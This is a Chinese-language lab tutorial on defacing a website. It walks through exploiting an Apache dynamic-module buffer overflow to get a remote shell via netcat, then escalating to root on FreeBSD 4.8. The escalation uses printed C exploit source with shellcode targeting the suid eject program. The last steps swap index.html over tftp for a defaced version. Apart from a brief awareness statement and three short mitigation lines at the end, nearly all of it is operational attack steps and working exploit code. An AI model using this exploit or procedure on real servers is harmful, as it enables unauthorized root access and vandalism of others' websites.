Web服务首页篡改
Apache HTTP Server是最流行的开放源码WEB服务器系统之一,它是由Apache Group开发、发布并支持的。Apache HTTP Server支持静态编译及动态模块加载2种方式,在其某些特定版本中的动态模块存在缓冲区溢出漏洞,攻击者会利用此漏洞达到对WEB服务器进行攻击或执行指定程序的目的。
实验目的
通过本实验使读者了解WEB服务器的安全漏洞以增强安全意识。
实验拓扑
实验准备
向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。用nc工具连接远程端口获得shell,本地提权后,上传篡改后的主页。
1.下载实验中使用的工具:远程溢出工具 NetCat 1.11 for Windows (网络瑞士军刀)Tftpd Server

【说明】
远程溢出工具

向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。

NetCat 1.11 for Windows (网络瑞士军刀)

一款小巧精悍的网络实用工具,常用来进行远程shell连接或被动接收连接以提供shell通道,
或者用来作为小巧的telnet客户端使用。

Tftpd Server
一款支持tftp协议的服务端工具,用以上传或下载文件(tftp 协议)。
实验步骤
访问目标主机的HTTP服务
步骤说明:
确保输入的协议及地址是正确的
1.打开浏览器,访问目标主机的 HTTP 服务,如:图1

1
探测目标主机WEB服务信息
步骤说明:
输入 GET /abcdefg HTTP/1.0 并连续输入两次回车(Enter),可以从返回中获取服务器
版本信息。

命令中的 abcdefg 是任意字符串,是不存在的页面,会引起404错误。

这么做的理由是 404错误的返回页面内容比较少,便于查看。
1.开启一个命令行窗口,用 nc.exe 程序连接目标主机的 80 端口

命令格式:
nc.exe 目标IP 80
如:图2

2
尝试远程溢出
步骤说明:
命令格式为 -t 目标主机IP地址。
1.运行 ,如:图3

3
注:
apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。
溢出成功,用NetCat 连接
步骤说明:
命令格式为 nc.exe 目标主机IP地址 目标端口。
1.如:图4、图5,连接上以后,我们做如下操作:

a). id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限。

b). w 命令看当前有谁在线,看到两个远程登录连接。

c). pwd 命令看当前所在目录。

d). uname -a 看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁。

e). 切换目录至 /tmp 下,准备编写提权程序。

4

5
提升权限
步骤说明:
FreeBSD 老版本上的 eject 程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。

eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测,

导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。
1.编写提权代码,如:图6

6
图中所用代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BOF_LEN 1260

extern char** environ;

int main( void ) {
char buf[BOF_LEN];
char* ptr;
char* arg[4];
unsigned int ret = 0xbfbfeead;

char shellcode[] = "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd" "\x80\xe8\xe4\xff\xff\xff/bin/sh";

char envshell[4096];
memset( envshell, 0x90, 4096 );
memcpy( envshell + 4096 - strlen( shellcode ), shellcode, strlen( shellcode ) );
envshell[4096] = 0x0;
memcpy( envshell, "VULN=", 5 );
putenv( envshell );

memset( buf, 0x41, BOF_LEN - 1 );
*(unsigned int *)(buf + BOF_LEN - 5) = ret;
*(buf + BOF_LEN - 1) = 0x0;

arg[0] = "/usr/local/sbin/eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;
execve (arg[0], arg, environ);
return( 0 );
}
2.编译提权代码,运行提权程序,如:图7

gcc 编译源代码,然后执行 ./ex,输入 id 命令后可以看到 euid=0,输入whoami 命令可以看到已经是 root了。

当然,现在这样还不是完全的 root 权限,但是对于篡改首页来说已经够了。

进一步提权的详细信息可参看《Linux 系统漏洞利用》这一课的内容。
注:
执行 ex 程序时记得前面的 “./ ”两个符号。

7
篡改网站首页
步骤说明:
通过使用 /usr/sbin/pkg_info 命令查 web 服务的配置文件,从配置文件中定位 web 页面的存储根路径,用 Tftpd 实用程序将首页文件从服务器上下载到本地进行修改(篡改),然后再回传到服务器上覆盖原首页文件。
1.web服务器的配置文件存储路径,如:图8

a). /usr/sbin/pkg_info | grep apache 命令查 apache 包的完整名称。

b). /usr/sbin/pkg_info -p 包完整名称 来查看apache安装的根路径,在图中可以看到是 /usr/local

c). /usr/sbin/pkg_info -f 包完整名称 | f 查看配置文件所在的路径,看到是 %D/etc/f


其中的 %D 就是前面得到的 /usr/local

综上,apache 服务器的配置文件为 /usr/local/etc/f

8
2.寻网站页面文件存储路径,如:图9


a). cat /usr/local/etc/f | grep DocumentRoot | grep -v “#” 来查页面根路径,

如图9,我们得到的路径为:/usr/local/www/data

b). cd /usr/local/www/data 切换目录到网站页面根路径。

c). ls -al index.html 命令查看首页是否在当前路径下,我们看到 index.html 在当前路径下。
注:
UNIX系统的命令行是大小写敏感的,因此输入命令及参数时注意区分大小写 上面的命令中 grep -v ”#”
的含义是排除含”#”的行。

9
3. Tftpd 实用程序传输文件
[index.html传输到本地]

a). 在本地的windows主机上启动 ,如:图10

10
b). 在执行 nc.exe 的窗口中将 index.html 传输到本地windows主机,如:图11


I). 输入 tftp 命令进入 tftp 客户端程序。

II). 输入connect 本地windows主机IP地址建立连接。

III). 输入binary命令设置传输模式为二进制传输。

IV). 输入put index.html命令将当前目录下的index.html文件传输到本地windows主机。

11
c). 我们可以在 程序的 Log Viewer窗口看到传输信息,并在 的同级目录中看到传上来的index.html文件,如:图12

12
[修改index.html文件]

d). 用编辑工具打开 index.html 文件,如记事本,查“<BODY”字符串所在位置,如:图13

13
e). <BODY ……>后面插入信息:

<table cellSpacing=0 cellPadding=0 width=975 border=0><tr><td height=100px align=center valign=middle><font color=red size=14>这行内容是被篡改的!</font></td></tr></table> 如:图14

14
f). 查页面编码,修改为简体中文(GB2312),若已为中文编码,则不需要再更改,如:图15及图16

15

16
[将修改后的index.html传输到远程主机]

g). 在执行 nc.exe 的窗口中将修改后的 index.html 传输到远程主机,如:图17

17
h). 执行 get index.html 命令将修改完的 index.html文件下载到远端主机,覆盖原文件。
我们可以在 程序的 Log Viewer窗口看到传输信息,如:图18

18
查看修改后的页面
步骤说明:
我们可以用浏览器访问修改后的页面来查看修改后的效果。
1.打开浏览器,访问目标主机的 HTTP 服务,如:图19

19
退出root shell,断开连接
1.顺序执行下述操作,如:图20

a). 输入 quit 退出 tftp 客户端程序。主页被篡改怎么办

b). 输入 exit 退出通过溢出获得到的 root shell

c). 再次输入 exit 断开连接。

20
解决方案
1.对系统进行加固,更新有问题的服务程序。
2.做双向ACL,拒绝非法端口访问。
3.对有问题的内核打补丁或升级内核。